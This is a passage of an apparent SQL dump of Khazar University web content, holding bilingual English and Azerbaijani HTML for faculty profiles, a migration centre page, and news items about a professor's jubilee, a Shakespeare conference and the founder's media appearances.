href=\"mailto:rismailov@khazar.org\">rismailov@khazar.org</a>;&nbsp;<a href=\"mailto:rashail.ismayilov@gmail.com\">rashail.ismayilov@gmail.com</a><strong>&nbsp;</strong>&nbsp;</div><div><strong>Phone:</strong>&nbsp;+994 0552833134</div><div><strong>&nbsp;</strong></div><div><strong>Research:</strong>&nbsp;Geography, Ecology and Environment, Hydrometeorology, Hydrology, Hydroecology, Hydrogeology, Water resources managment and water supply, climate changes</div><div><strong>&nbsp;</strong></div><div><strong>Education:</strong></div><div>PhD: National Academy of Sciences, 2007-2010</div><div>Ms:&nbsp;Baku State University, 2004-2007</div><div>Bs: Baku State University, 2000-2004</div><div>&nbsp;</div><div><strong>Membership in Professional organizations:</strong></div><ul><li>Member of the International Mountain Society</li><li>Member of the International Association of Hydrological Sciences</li><li>Member of the Global Water Partnership (2007-2010)</li><li>Member of Azerbaijan Geography Society</li></ul><div>&nbsp;</div><div>&nbsp;</div><div><strong>Professional activity:</strong></div><ul><li>Blacksmith Institute, field researcher</li><li>“Azersu”OJSC, “Sukanal”SRDİ scientific secretary</li></ul><div>&nbsp;</div><div><strong>Selected publications:</strong></div><ol><li><strong>İsmayil</strong><strong>ov R.A.&nbsp;</strong>Hydrochemical condition of the rivers flowing into Caspian Sea within the territory of Azerbaijan National Academy of Science proceedings the sciences of Earth.Baku-2010 Vol.2.Page 49-52.</li><li><strong>İsmayil</strong><strong>ov R.A.,&nbsp;</strong>Karimov R.N. Evaluation of Contemporary Environmental Condition of River Basins in Southern pre-Caspian Areas of Azerbaijan. İnternational Journal of Business, Humanities and Technology.USA-2012. Vol.I № 1, Page 94-98.</li><li><strong>İsmayil</strong><strong>ov R.A.</strong>&nbsp;Hydrological characteristics of mountain rivers Gabala-Ismayilli region. Geography and Tourism. Kiev State University named after T. Sefcenko.Kiev-2012.Page 297-300.</li><li><strong>İsmayil</strong><strong>ov R.A.&nbsp;</strong>The changing water consumption in the Kura basin. Caspian International Aqua Technologies. Conference materials. Baku-2013. Page 129-136.</li><li><strong>İsmayil</strong><strong>ov R.A.</strong>&nbsp;The role of the Kura river tributaries in its pollution. Geography and Tourism. Kiev State University named after T. Sefcenko.Kiev-2014.Page 295-300.</li><li>Abduyev M.A.,<strong>&nbsp;Ismayil</strong><strong>ov R.A.</strong>&nbsp;Evaluation of a mode / quality change of Kura River water due to anthropogenic activities. Journal of Water:chemistry and ecology. Moscow, 2014. № 3. Page. 26-31.</li></ol>  <br></div>'),(2229,1361,'en','Instructor’s Article Published in Canada','An article entitled “Feasibility of CLIL (Content and Language Integrated Learning) implementation in the education system of Azerbaijan...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:105%\"\"=\"\">An article entitled\r\n“Feasibility of CLIL (Content and Language Integrated Learning) implementation\r\nin the education system of Azerbaijan: Attitude towards CLIL and the English\r\nLanguage in Higher Educational İnstitutions” by Jamala Mammadova, instructor of\r\nKhazar University’s Department of English Language and Literature, was\r\npublished in the International Journal of English Linguistics in Canada. The\r\narticle includes primary recommendations for future use of CLIL in higher\r\neducation institutions of Azerbaijan as well as research in this field which\r\nwas carried out in 4 higher education institutions including Khazar University.\r\nThe article is similar to works of noted European researchers such as\r\nLasagabaster &amp; Sierra (2009) in Spain and Merisuo-Storm (2007) in Finland.&nbsp;</p>'),(1378,874,'en','Ramil Sadigov','Ramil Sadigov','<div><br></div><div><img src=\"/files/image/14_09_09_Ramil_Sadiqov.jpg\" style=\"width:150px;height:200px;margin:7px;float:left\"><br></div><div><div><p><strong>Faculty:</strong>&nbsp;Dr. Ramil Sadigov PhD</p><p>Department of Geography and Environment</p><p>AZ 1096 Mehseti str. 11, Baku, Azerbaijan</p><p><strong>Email:</strong>&nbsp;<a href=\"mailto:Ramil_Sadiqov-1983@mail.ru\">Ramil_Sadiqov-1983@mail.ru</a></p><p><strong>Phone:</strong>&nbsp;+994 50&nbsp;543 48 46</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; +994 55&nbsp;493 87 75</p><p><strong>Research:</strong>&nbsp;Ecology, Environmental protection, Environmental pollution, Environmental economics, Water resources management, soil erosion<strong>&nbsp;</strong></p><p><strong>Education:</strong></p><p>PhD:&nbsp; National Academy Sciences of Azerbaijan. Institute of Erosion and Irrigation, special soil erosion. 2007-20101</p><p>Ms: Baku State University, 2004-2006</p><p>Bs: Baku State University, 2000-2004</p><p><strong>Membership in Professional organizations:</strong></p><ul><li>Member of the International Mountain Society</li><li>International Association of Hydrological Sciences</li><li>American Institute of Hydrology (2006-2008)</li><li>Azerbaijan Geography Society</li></ul><p><strong>Professional activity:</strong></p><ul><li>Consultant at the Institute of Specialization and Qualification in Ministry Ecology and Natural Resources</li><li>Consultant in State oil Company- SOCAR</li></ul><p><strong>Se</strong><strong>lected publications</strong><strong>:</strong></p><ol><li>R.A.Sadiqov - Natural resources and ecology. Article. Conference of the theses traditional student IX, Western University, Baku, 2002, p. 88-89</li><li>R.A.Sadiqov - Properties of the environment and its role in the development of society. Article. Baku State University, Faculty of Geography, Master\'s and students\' scientific conference, Baku, 2002, p. 141-142</li><li>R.A.Sadiqov - About Baku-Tbilisi-Ceyhan pipeline. Article. Baku State University, Heydar Aliyev\'s 80th anniversary at the graduate and undergraduate levels VI Conference, Baku, 2003, p. 72-75</li><li>R.A.Sadiqov - Evaluation and use of a single land fund. Thesis. Ministry of Ecology and Natural Resources of the Republic of Azerbaijan Heydar Aliyev\'s 80th anniversary, \"Evaluation of natural resources and nature of the\" scientific-practical conference, Baku, 2003, p. 102-105</li><li>R.A.Sadiqov -Analysis of damage to the environment of Ganja aluminum plant. Thesis. \"Environment and Water Management\" scientific-technical and production journal, Baku, 2003, № 4, p. 32-36</li><li>R.A.Sadiqov - New buildings and their impact on the environment. Article. Baku State University, Faculty of Geography, Master\'s and students scientific conference, Baku, 2004, p. 54-55</li><li>R.A.Sadiqov - The main aspects of the use of mineral raw materials and recycling. Article. Baku State University, Faculty of Geography, master\'s and bachelor\'s degrees IX scientific conference, Baku, 2006, p. 85-87</li><li>R.A.Sadiqov - Environmental problems in the development of the mining and metallurgical industry. Article. Baku State University, Faculty of Geography, master\'s and bachelor\'s degrees IX scientific conference, Baku, 2006, p. 88-90</li><li>R.A.Sadiqov - Tendency sowing agricultural zone of the Lesser Caucasus mountains from erosion of soils, depending on the fight against it. Article. \"Azerbaijan Agricultural Science\" magazine. Baku, 2007, № 8-9, p. 158-159</li><li>R.A.Sadiqov - Black soils of the mountain region features some of the morphogenetic leaked in Gedabak region. Article. Soil Society of Public Water Works, Tome XI, Part I, \"Science\", 2010, p. 305-310</li><li>R.A.Sadiqov -The formation of black soil erosion in Gadabak regions&nbsp; mountain and of other aspects of the fight against fellow. Thesis. \"Environment and Water Management\" scientific-technical and production journal, Baku, 2012, № 3, p. 11-15</li><li>R.A.Sadiqov - The erosion in the black soil Gadabak regions mountain its consequences. Thesis. International Scientific Conference dedicated to the 85th anniversary of the Mukhtar Abduyev, Baku, 2012, Part I, p. 482-487</li><li>R.A.Sadiqov - Roughly, the mountain forests of the north-east of the main factors causing erosion. Scientific Conference of Young Scientists, Baku, Science Development Fund under the President of Azerbaijan Republic. July 25-27, 2012, pp 103-105</li></ol><p>14. R.A.Sadiqov - The influence of the erosi- on process on mountainous chernozems fertilite in the Kadabak district of Azerbaijan. Article. Annals of agrarian science Vol 11. No.1. pg. 30-33</p><p>15. R.A.Sadiqov - The&nbsp;ways of the determination and removalerosion&nbsp;processes on leached carbonate mountain black earth of Gedabek region. Article. \"Azerbaijan Agricultural Science\" magazine. Baku, 2012, № 4, p. 114-115</p><p>16. R.A.Sadiqov - Investigation and protection methods of the soddy mountain-meadow soils. Article. And the 90th anniversary of Heydar Aliyev in the SLCC \"Heydar Aliyev\'s land reform to ensure food safety\" scientific-practical conference, Baku-2013, tome 21, № 1, p. 91-94</p><p>17.R.A.Sadiqov - Influence of erosion process on fertility of the leaching mountainous brown soils. Article. 90th anniversary Academic Javidan Huseynov Proceedings of the Soil Association, tome XI, Part II, Baku, \"Science\", 2013</p><p>18. R.A.Sadiqov -<strong>&nbsp;</strong>An analysis of the current state of mining and meadow-steppe soils of alpine zone of the Lesser Caucasus and the determination of the level of fertility parameters (for example Kedabek district). Article. 90th anniversary of Heydar Aliyev international scientific conference, Baku, 2013</p><div><br></div></div>  <br></div>'),(1379,451,'az','Fəaliyyət','Fəaliyyət','<p><strong>MCC carries out a wide range of activities which include:</strong></p><p><strong><br></strong></p><p><strong>Database</strong></p><ul><li>follow-up on migration-related projects implemented by relevant government agencies, international organizations and civil society organizations;</li><li>follow-up on legislative changes and the maintenance of a legislative database accessible for all interest groups;</li><li>research papers and publications by academic circles in Azerbaijan;</li><li>statistical data regarding migrants (labor migrants, irregular migrants), refugees, asylum seekers, and IDPs. For this purpose, MCC closely cooperates with the State Statistics Committee, State Committee on Work with Refugees and IDPs, State Migration Service, State Border Service, IOM, UNHCR and other relevant organizations.</li></ul><p><strong><br></strong></p><p><strong>Research</strong></p><ul><li>MCC supports interdisciplinary research in the field of migration. The center will establish strategic links with other research centers on migration in the region, as well as internationally.</li></ul><p><strong><br></strong></p><p><strong>Training Activities</strong></p><ul><li>The MCC carries out awareness raising activities for researchers, faculty, students, NGOs and other practitioners through organizing training courses by local and international experts, including representatives of the IOM Mission in Azerbaijan and relevant state agencies.</li></ul><p><strong><br></strong></p><p><strong>Dissemination Activities</strong></p><ul><li>MCC produces and widely disseminates publications and statistical data to make all information accessible to the wider public (migration officials, journalists, researchers, public institutions, civil society). It organizes seminars, conferences on the state of migration, human trafficking, irregular migration, refugees and asylum seekers, and other relevant issues, as well&nbsp;as new and prospective research fields in Azerbaijan.</li></ul><br><p><strong>Migration Master Programme</strong></p><ul><li>MCC supports the organization and administration of a Master Program in World Economics and Migration Processes.&nbsp;MCC staff are responsible to maintain and update the E-learning platform and the connected database on migration related research and official data available. All the resources are available for students and faculty.&nbsp;</li></ul><br><p><strong>Cooperation</strong></p><ul><li>The MCC actively participates in the Regional Research Network on Migration to be established between the three regional MCCs. It also cooperates internationally with other competence centers around the world.</li></ul>'),(1380,740,'az','Kataloqlar','Kataloqlar','<div><br></div><div> <div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><img src=\"http://www.khazar.org/files/demo/14_11_25_12_06_22_front_final.jpg\" style=\"border:0px #000000;width:350px;height:179px;margin:7px;float:left\"><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><img src=\"http://www.khazar.org/files/demo/14_11_25_12_06_22_back_final.jpg\" style=\"border:0px #000000;width:350px;height:179px;margin:7px;float:left\"><br></div></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><img src=\"http://www.khazar.org/files/demo/14_11_25_booklet1.jpg\" style=\"border:0px #000000;width:350px;height:350px;margin:7px;float:left\"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div></div><br></div>'),(1381,875,'en','Jubilee Celebration at Khazar','On April 11, 2016, a celebration was held on the occasion of the 70th birthday of Professor Mahammad Nuriyev, Advanced Educationalist of the Azerbaijan Republic. ','<p>On April 11, 2016, a celebration was held on the\r\noccasion of the 70th birthday of Professor Mahammad Nuriyev, Advanced\r\nEducationalist of the Azerbaijan Republic. The announcers of the event were\r\nBaba Bayramli, Director of the Center for Alumni Relations, and Martha Lawry,\r\nPhD student. They opened the celebration with information about Prof. Nuriyev.\r\nThen the University Multimedia Center presented a slide show with photos of the\r\nprofessor. </p>\r\n<p>Dr. Isakhan Isakhanli, Vice President for\r\nAdministration and Student Affairs, read an official congratulatory letter on\r\nbehalf of the university collective and presented a bouquet to Prof. Nuriyev. Professor\r\nHamlet Isaxanli, the founder of Khazar University and Chairman of its Board of\r\nDirectors and Trustees, and President Hasan Niknafs spoke highly of Prof.\r\nNuriyev’s twenty years of service to Khazar, noting that he is a great\r\neducational organizer and scholar, a demanding leader, and a sincere and fair\r\ncolleague. They wished him further success. </p>\r\n<p>Congratulatory speeches were also made by Rafig\r\nAhmadov, Director of the Institutional Research Center as well as Advanced\r\nEducationalist of the Azerbaijan Republic; Dr. Ingilab Ahmadov, Dean of the\r\nSchool of Economics and Management; Associate Professor Jabir Khalilov, Dean of\r\nthe School of Humanities and Social Sciences; Dr. Elza Semedli, Dean of the\r\nSchool of Education; Dr. Farda Asadov, Director of the Center for Eurasia and\r\nMiddle East Studies; and Firangiz Nasirova, Senior Instructor of the Department\r\nof English Language and Literature as well as Advanced Educationalist of the\r\nAzerbaijan Republic. </p>\r\n<p>The School of Education organized an exclusive survey\r\nduring the celebration, the results of which were announced by Assistant Dean\r\nZarifa Aliyeva. The School also gave a gift to Prof. Nuriyev. </p>\r\n<p>At the end of the event, Prof. Nuriyev made a speech\r\nto thank the university administration and those who had organized the\r\ncelebration. </p>\r\n<p>The celebration included a concert program by the\r\nDepartment of Music and Fine Arts.&nbsp;</p>'),(1382,875,'az','“Xəzər”də yubiley','Martın 11-də universitetin Mərmər salonunda tədris işləri üzrə prorektor, Azərbaycan Respublikasının Qabaqcıl təhsil işçisi, professor Məhəmməd Nuriyevin 70 illik yubileyi münasibətilə mərasim keçirildi.','<p>Martın 11-də universitetin Mərmər salonunda tədris\r\nişləri üzrə prorektor, Azərbaycan Respublikasının Qabaqcıl təhsil işçisi, professor\r\nMəhəmməd Nuriyevin 70 illik yubileyi münasibətilə mərasim keçirildi. Aparıcılar\r\n– Məzunlarla iş mərkəzinin müdiri Baba Bayramlı və universitetin doktorant tələbəsi\r\nMarta Lauri mərasimi açaraq, M. Nuriyevin fəaliyyəti haqqında məlumat verdilər.\r\nUniversitetin Multimedia mərkəzinin yubilyar haqqında hazırladığı slayd-şou\r\nnümayiş etdirildi.</p>\r\n<p>Universitetin İdarəetmə və tələbə işləri üzrə\r\nprorektoru İsaxan İsaxanlı M. Nuriyevə universitet kollektivi adından təbrrik məktubunu\r\noxudu və məktubla birlikdə ona gül dəstəsi təqdim etdi.</p>\r\n<p>Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar\r\nŞurasının sədri professor Hamlet İsaxanlı, rektor Hassan Niknafs çıxış edərək,\r\nM. Nuriyevin universitetdəki 20 illik fəaliyyətini yüksək qiymətləndirdilər,\r\nonun görkəmli təhsil təşkilatçısı və elm xadimi, tələbkar rəhbər, səmimi və ədalətli\r\nhəmkar olduğunu qeyd etdilər, ona gələcək fəaliyyətində uğurlar arzuladılar.</p>\r\n<p>İnstitutsional araşdırmalar mərkəzinin direktoru, Azərbaycan\r\nRespublikasının Qabaqcıl təhsil işçisi Rafiq Əhmədov, İqtisadiyyat və menecment\r\nfakültəsinin dekanı İnqilab Əhmədov, Humanitar və sosial elmlər fakültəsinin\r\ndekanı Cabir Xəlilov, Təhsil fakültəsinin dekanı Elza Səmədova, Xəzər\r\nUniversitetinin Avrasiya və Orta Şərq Araşdırmaları mərkəzinin müdiri Fərda Əsədov,\r\nİngilis dili və ədəbiyyatı departamentinin baş müəllimi, Azərbaycan\r\nRespublikasının Qabaqcıl təhsil işçisi Firəngiz Nəsirova çıxış edərək, yubilyar\r\nhaqqında xoş sözlər söylədilər.</p>\r\n<p>Təhsil fakültəsinin təşəbbüsü ilə tədbir zamanı\r\nyubilyar haqqında eksklüziv sorğu keçirildi. Sorğunun nəticələrini fakültənin tədris\r\nişləri üzrə dekan müavini Zərifə Əliyeva elan etdi. Yubilyara fakülə adından hədiyyə\r\ndə təqdim olundu.</p>\r\n<p>Tədbirin sonunda M. Nuriyev çıxış edərək, mərasimin\r\ntəşkilinə gğrə universitet rəhbərliyinə və iştirakçılara təşəkkürünü bildirdi.</p>\r\n<p>Mərasim Musiqi və incəsənət departamentinin\r\nhazırladığı konsert proqramı ilə müşayiət olundu.</p>\r\n<p>&nbsp;</p>  <p><strong>Təbrik məktubu</strong></p>\r\n<p><strong><em>Əziz Məhəmməd\r\nmüəllim!</em></strong></p>\r\n<p>Xəzər Universiteti kollektivi adından Sizi 70 illik\r\nyubileyiniz münasibətilə səmimi qəlbdən təbrik edir, Sizə möhkəm çansağlığı,\r\nuzun ömür, fəaliyyətinizdə uğurlar arzulayıram.</p>\r\n<p>Siz riyazi üsullar əsasında istehsalın idarəolunması\r\nvə modelləşdirilməsi üzrə görkəmli mütəxəssis kimi tanınmısınız. Siz bütün həyatınızı\r\ngənclərin savadlı, geniş dünyagörüşlü mütəxəssislər kimi&nbsp; yetişməsinə həsr etmiş pedaqoq, təhsil təşkilatçısı,\r\nelm xadimisiniz, diqqətli, qayğıkeş insan və ailə başçısısınız.</p>\r\n<p>Siz ömrünüzün 30 ildən çox bir dövrünü Azərbaycanın\r\nnüfuzlu təhsil və elm ocaqlarından sayılan Azərbaycan Neft və Kimya\r\nİnstitutunda keçirmisiniz. Burada ali təhsil almiş, elmlər namizədi, elmlər\r\ndoktoru elmi dərəcəsi, dosent və professor elmi adıları almısınız. Bütün bu illər\r\nərzində müntəzəm pedaqoji fəaliyyətlə məşğul olmuş, elmi axtarışlar\r\naparmısınız, çoxsaylı elmi əsərlər, dərs vəsaitləri, monoqrafiyalar müəllifisiniz.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:35.4pt\"\"=\"\">&nbsp;</p>\r\n<p><strong><em>Əziz Məhəmməd müəllim!</em></strong></p>\r\n<p>&nbsp;</p>\r\n<p>Siz 20 ildir ki, Xəzər Universitetində çalışırsınız.\r\nProfessor kimi müəllimlikdən başlayıb qısa zaman ərzində dapartment müdiri,\r\ndekan və prorektor vəzifəsinə yüksəlmisiniz. Uzun müddətdir ki, universitetin\r\nprorektoru kimi elm və tədris işlərinə rəhbərlik edirsiniz; tədris prosesinin səmərəli\r\ntəşkili və keyfiyyətinin yüksəldilməsi yolunda gərgin əmək sərf edirsiniz,\r\nuniversitetin təhsil siyasətinin uğurla həyat keçirilməsində xidmətləriniz\r\ndanılmazdır. </p>\r\n<p>Bütün bu müddət ərzində Siz Xəzər universitetinin\r\nprinsip və ideallarına vicdanla əməl etmisiniz. Universitet kollektivi Sizi\r\ngörkəmli elm adamı, işgüzar təşkilatçı və tələbkar rəhbər, səmimi və ədalətli həmkar\r\nkimi tanıyır və sevir. Əminik ki, Siz bundan sonra da, uzun illər Xəzər Universitetində\r\nçalışacaq, onun daha geniş miqyasda tanınması və şöhrətlənməsinə layiqli töhfənizi\r\nverəcəksiniz.</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\r\n<p><strong><em>&nbsp;</em></strong></p>\r\n<p>Xəzər Universitəsi kollektivi adından</p>\r\n<p>&nbsp;</p>\r\n<p>_________________</p>\r\n<p>Prof. Hamlet İsaxanlı&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;11 aprel 2016-cı il</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>'),(1383,876,'az','“Xaricdə oxumaq nə deməkdir?” adlı təqdimat keçiriləcək','2016-cı il aprelin 13-ü saat 15:10-da Xəzər Universitetinin “Neftçilər” kampusunda (otaq 313 (old) “Xaricdə oxumaq nə deməkdir?” adlı təqdimat keçiriləcək. Təqdimatda “Dünya” məktəbinin hazırda təhsillərini İngiltərədə davam etdirən məzunları çıxış edəcəklər.','<p>2016-cı il aprelin 13-ü saat 15:10-da Xəzər Universitetinin “Neftçilər”\r\nkampusunda (otaq 313 (old) “Xaricdə oxumaq nə deməkdir?” adlı təqdimat keçiriləcək.\r\nTəqdimatda “Dünya” məktəbinin hazırda təhsillərini İngiltərədə davam etdirən məzunları\r\nçıxış edəcəklər. </p>\r\n<p>Maraqlanan hər kəs dəvət olunur.</p>'),(1384,877,'en','Shakespeare Conference at Khazar','British Council, in partnership with Khazar University, will host a special conference dedicated to William Shakespeare on 22 April 2016. The conference’s theme is Shakespeare in the World.','<p>British Council, in partnership with Khazar\r\nUniversity, will host a special conference dedicated to William Shakespeare on\r\n22 April 2016. The conference’s theme is Shakespeare in the World.</p>\r\n<p>The conference marks the history and geography of\r\nShakespeare in the world, looking at the reach and lasting inspiration of\r\nShakespeare’s work, to mark the 400th anniversary of his death in 2016.&nbsp;\r\nConference speakers will include academics and researchers from the UK,\r\nAzerbaijan and Georgia; in addition to the academic presentations, the\r\nconference activities will include student presentations, film screening and\r\ndramatic interludes.&nbsp;&nbsp; </p>\r\n<p>The conference will be held at Khazar University\r\n(Marble Hall) on Friday, April 22, the day before Shakespeare’s\r\nanniversary.&nbsp; Attendance is open to all.<a href=\"https://www.britishcouncil.az/en/events/Shakespeare-in-the-World-conference\">https://www.britishcouncil.az/en/events/Shakespeare-in-the-World-conference</a>  </p>'),(1385,877,'az','Şekspirin ölümündən 400 il ötür','2016-cı il aprelin 22-də “British Council” və Xəzər Universiteti birlikdə Uilyam Şekspirə həsr olunmuş “Şekspir dünyada” mövzusunda konfrans keçirəcək.','<p>2016-cı il aprelin 22-də\r\n“British Council” və Xəzər Universiteti birlikdə Uilyam Şekspirə həsr olunmuş\r\n“Şekspir dünyada” mövzusunda konfrans keçirəcək. </p>\r\n<p>Konfrans Şeksprin ölməz\r\nilhamverici yaradıcılığının əhatə dairəsinin tarixi və coğrafiyasına, eləcə də,\r\n2016-cı ildə onun ölümünün 400 illiyi ilə bağlı həyata keçirilən fəaliyyətlərə\r\nnəzər yetirəcək.&nbsp;</p>\r\n<p>Tədbirin spikerləri arasında\r\nBirləşmiş Krallıqdan, Azərbaycandan və Gürcüstandan olan akademik işçilər və tədqiqatçılar\r\nolacaq. Akademik yönümlü təqdimatlara əlavə olaraq konfransda tələbələrin təqdimatları,\r\nfilm və qısa dram səhnələrinin nümayişi olacaq.</p>\r\n<p>Konfrans Şekspirin ölümünün\r\n400 illiyi günündən bir gün öncə – aprelin 22-də Xəzər Universtitenin “Mərmər”\r\nzalında keçiriləcək.</p>\r\n<p>Maraqlanan hər kəs tədbirdə\r\niştirak edə bilər.<a href=\"https://www.britishcouncil.az/en/events/Shakespeare-in-the-World-conference\">https://www.britishcouncil.az/en/events/Shakespeare-in-the-World-conference</a>  </p>\r\n<p>&nbsp;</p>'),(1386,878,'az','Yeni yaradılan qurum haqqında mütəxəssis fikri öyrənildi','2016-cı il aprelin 13-də “Şərq” qəzetinin rəsmi İnternet səhifəsində “Test üsulu ləğv edilmədi” adlı məqalə yayınlanmışdır. Məqalədə Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının fikirlərinə geniş yer verilmişdir.','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2016-cı il aprelin 13-də “Şərq” qəzetinin\r\nrəsmi İnternet səhifəsində “Test üsulu ləğv edilmədi” adlı məqalə\r\nyayınlanmışdır. Məqalədə Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar\r\nŞurasının sədri professor Hamlet İsaxanlının fikirlərinə geniş yer verilmişdir.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">Məqaləni\r\ntam şəkildə bu link vasitəsilə oxumaq olar:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://www.sherg.az/site/id-15527/Test_%C3%BCsulu_l%C9%99%C4%9Fv_edilm%C9%99di\">http://www.sherg.az/site/id-15527/Test_%C3%BCsulu_l%C9%99%C4%9Fv_edilm%C9%99di</a>.\r\n</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">&nbsp;</p>'),(1387,878,'en','Founder’s Expert Opinion on Newly-Formed Organization','On April 13, 2016, an article entitled “Multiple Choice Tests Not Abolished” was published on the Şərq (East) news site. Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, was extensively quoted in the article, which is available at the following link:','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">On\r\nApril 13, 2016, an article entitled “Multiple Choice Tests Not Abolished” was\r\npublished on the Şərq (East) news site. Professor Hamlet Isaxanli, the founder\r\nof Khazar University and Chairman of its Board of Directors and Trustees, was\r\nextensively quoted in the article, which is available at the following link: </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://www.sherg.az/site/id-15527/Test_%C3%BCsulu_l%C9%99%C4%9Fv_edilm%C9%99di\">http://www.sherg.az/site/id-15527/Test_%C3%BCsulu_l%C9%99%C4%9Fv_edilm%C9%99di</a>.</p>\r\n<p>&nbsp;</p>'),(1388,879,'az','“Elm üçbucağı”nda bu dəfə “Avropanın ilk universitetləri”ndən söhbət açıldı','2016-cı il aprelin 10-da İctimai TV-də Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının “Elm üçbucağı” proqramının növbəti verilişi oldu. Veriliş “Avropanın ilk universitetləri” mövzusuna həsr olunmuşdu.','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">2016-cı\r\nil aprelin 10-da İctimai TV-də Xəzər Universitetinin təsisçisi, Direktorlar və\r\nQəyyumlar Şurasının sədri professor Hamlet İsaxanlının “Elm üçbucağı”\r\nproqramının növbəti verilişi oldu. Veriliş “Avropanın ilk\r\nuniversitetləri” mövzusuna həsr olunmuşdu. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Verilişdə\r\nuniversitetin əməkdaşları da dinləyici qismində iştirak edirdilər.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">&nbsp;</p>'),(1389,879,'en','First European Universities Lecture on Triangle of Science Show','On April 10, 2016, the “Elm üçbucağı” (Triangle of Science) program by Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, was broadcast on Public TV.','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">On April 10, 2016, the “Elm\r\nüçbucağı” (Triangle of Science) program by Professor Hamlet Isaxanli, the\r\nfounder of Khazar University and Chairman of its Board of Directors and\r\nTrustees, was broadcast on Public TV. The theme of the lecture during the\r\nbroadcast was “Europe’s First Universities.” Khazar University faculty and\r\nstaff members also participated as audience members during the show. </p>\r\n<p><strong>&nbsp;</strong></p>'),(1390,880,'az','Hamlet İsaxanlı: “İnsanlar pisliyi pis olduqları üçün eləmirlər...”','2016-cı il aprelin 12-də Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı APA TV-nın “Həyat dərsi” proqramının qonağı oldu.','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2016-cı il aprelin 12-də Xəzər Universitetinin təsisçisi,\r\nDirektorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı APA TV-nın\r\n“Həyat dərsi” proqramının 